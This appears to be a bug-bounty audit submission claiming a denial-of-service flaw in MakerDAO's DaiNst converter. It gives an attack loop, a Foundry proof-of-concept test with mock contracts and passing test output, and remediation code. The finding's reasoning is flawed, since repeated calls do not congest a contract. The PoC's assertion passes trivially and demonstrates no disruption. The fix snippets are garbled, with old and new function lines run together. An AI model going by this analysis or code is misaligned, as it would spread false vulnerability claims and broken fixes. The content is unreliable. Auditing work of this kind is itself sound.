Unrestricted Function Access Leading to Denial of Service (DoS)

Summary

The DaiNst lacks proper access control mechanisms for its daiToNst and nstToDai functions. This allows any external address to call these functions without restriction. A malicious actor can exploit this vulnerability by repeatedly calling these functions, leading to a Denial of Service (DoS) attack. This can cause significant service disruption and increased gas costs, affecting the contract's usability and reliability.

Vulnerability Detail

Malicious user floods the contract with conversion requests, causing service disruption.

Preparation:
- Malicious user identifies the DaiNst contract and its publicly accessible functions (daiToNst and nstToDai).

Execution:

Malicious user writes a script or uses a bot to continuously call nstToDai with minimal amounts:
```
while (true) {
daiNstContract.nstToDai(attackerAddress, smallAmountOfNst);
}
```

Each call to nstToDai involves:

nst.transferFrom(attackerAddress, address(this), smallAmountOfNst);
nstJoin.join(address(this), smallAmountOfNst);
daiJoin.exit(attackerAddress, smallAmountOfNst);

Outcome:
- The contract processes each request, consuming gas and resources.
- The contract becomes congested, leading to delays for legitimate users.

Impact

Service Disruption
Increased Gas Costs
Resource Exhaustion

Code Snippet

https://github.com/sherlock-audit/2024-06-makerdao-endgame/blob/main/nst/src/DaiNst.sol#L78-L83

Tool used

Manual Review

Recommendation

Introduce rate limiting to restrict the frequency of transactions from a single address within a specified time frame.


mapping(address => uint256) private lastTransactionTime;
uint256 private constant TIME_LIMIT = 1 minutes;

modifier rateLimit() {
    require(block.timestamp - lastTransactionTime[msg.sender] > TIME_LIMIT, "Rate limit exceeded");
    _;
    lastTransactionTime[msg.sender] = block.timestamp;
}

function nstToDai(address usr, uint256 wad) external {
function nstToDai(address usr, uint256 wad) external rateLimit { nst.transferFrom(msg.sender, address(this), wad); nstJoin.join(address(this), wad); daiJoin.exit(usr, wad); emit NstToDai(msg.sender, usr, wad); }
Use OpenZeppelin’s AccessControl library to restrict access to critical functions.
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DaiNst {
contract DaiNst is AccessControl { bytes32 public constant EXCHANGER_ROLE = keccak256("EXCHANGER_ROLE");

constructor(address daiJoin, address nstJoin) {
_setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
_setupRole(EXCHANGER_ROLE, msg.sender); // existing constructor code... }
function nstToDai(address usr, uint256 wad) external {
function nstToDai(address usr, uint256 wad) external onlyRole(EXCHANGER_ROLE) { nst.transferFrom(msg.sender, address(this), wad); nstJoin.join(address(this), wad); daiJoin.exit(usr, wad); emit NstToDai(msg.sender, usr, wad); }
Implement monitoring and alerting mechanisms to detect unusual activity patterns and respond promptly to potential DoS attacks.
Set reasonable limits on the amount of tokens that can be converted in a single transaction to reduce the impact of potential abuse.

PoC

// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity ^0.8.21;

import "forge-std/Test.sol";
import "../src/DaiNst.sol";

interface ExtendedGemLike is GemLike {
    function balanceOf(address account) external view returns (uint256);
}

contract ExploitTest is Test {
    DaiNst public daiNstContract;
    MockDaiJoin public daiJoin;
    MockNstJoin public nstJoin;
    ExtendedGemLike public dai;
    ExtendedGemLike public nst;
    MockVat public vat;
    address public attacker;

    function setUp() public {
        // Mock the Vat contract
        vat = new MockVat();

        // Mock the DaiJoin and NstJoin contracts
        daiJoin = new MockDaiJoin(address(vat));
        nstJoin = new MockNstJoin(address(vat));

        // Mock the Dai and Nst tokens
        dai = ExtendedGemLike(address(new MockGem()));
        nst = ExtendedGemLike(address(new MockGem()));

        // Set the dai and nst addresses in the mock join contracts
        daiJoin.setDai(address(dai));
        nstJoin.setNst(address(nst));

        // Deploy the DaiNst contract
        daiNstContract = new DaiNst(address(daiJoin), address(nstJoin));

        // Set up the attacker address
        attacker = address(0x123);

        // Mint some Dai and Nst tokens to the attacker
        MockGem(address(dai)).mint(attacker, 1000000 ether);
        MockGem(address(nst)).mint(attacker, 1000000 ether);

        // Approve the DaiNst contract to spend attacker's Dai and Nst
        vm.prank(attacker);
        dai.approve(address(daiNstContract), type(uint256).max);
        vm.prank(attacker);
        nst.approve(address(daiNstContract), type(uint256).max);
    }

    function testDenialOfService() public {
        uint256 smallAmountOfNst = 1 ether;

        // Attacker continuously calls nstToDai with minimal amounts
        for (uint256 i = 0; i < 100; i++) {
            vm.prank(attacker);
            daiNstContract.nstToDai(attacker, smallAmountOfNst);
        }

        // Check if the contract processed each request
        uint256 attackerDaiBalance = dai.balanceOf(attacker);
        assertGt(attackerDaiBalance, 0, "Denial of service failed");

        emit log("Denial of service test passed");
    }
}

// Mock contracts for testing
contract MockJoin is JoinLike {
    address public vatAddress;

    constructor(address _vat) {
        vatAddress = _vat;
    }

    function vat() external view override returns (address) {
        return vatAddress;
    }

    function join(address, uint256) external pure override {}

    function exit(address, uint256) external pure override {}
}

contract MockDaiJoin is MockJoin, DaiJoinLike {
    address public daiAddress;

    constructor(address _vat) MockJoin(_vat) {}

    function setDai(address _dai) external {
        daiAddress = _dai;
    }

    function dai() external view override returns (address) {
        return daiAddress;
    }
}

contract MockNstJoin is MockJoin, NstJoinLike {
    address public nstAddress;

    constructor(address _vat) MockJoin(_vat) {}

    function setNst(address _nst) external {
        nstAddress = _nst;
    }

    function nst() external view override returns (address) {
        return nstAddress;
    }
}

contract MockGem is ExtendedGemLike {
    mapping(address => uint256) public balances;

    function mint(address to, uint256 amount) external {
        balances[to] += amount;
    }

    function approve(address, uint256) external pure override returns (bool) {
        return true;
    }

    function transferFrom(address from, address to, uint256 amount) external override returns (bool) {
        require(balances[from] >= amount, "Insufficient balance");
        balances[from] -= amount;
        balances[to] += amount;
        return true;
    }

    function balanceOf(address account) external view override returns (uint256) {
        return balances[account];
    }
}

contract MockVat is VatLike {
    function hope(address) external pure override {}
}

forge test --match-path test/ExploitTest.sol [⠒] Compiling... No files changed, compilation skipped

Ran 1 test for test/ExploitTest.sol:ExploitTest [PASS] testDenialOfService() (gas: 723152) Logs: Denial of service test passed

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 7.24ms (5.30ms CPU time)

Ran 1 test suite in 12.18ms (7.24ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

sherlock-audit / 2024-06-makerdao-endgame-judging

JuggerNaut63 - Unrestricted Function Access Leading to Denial of Service (DoS) #93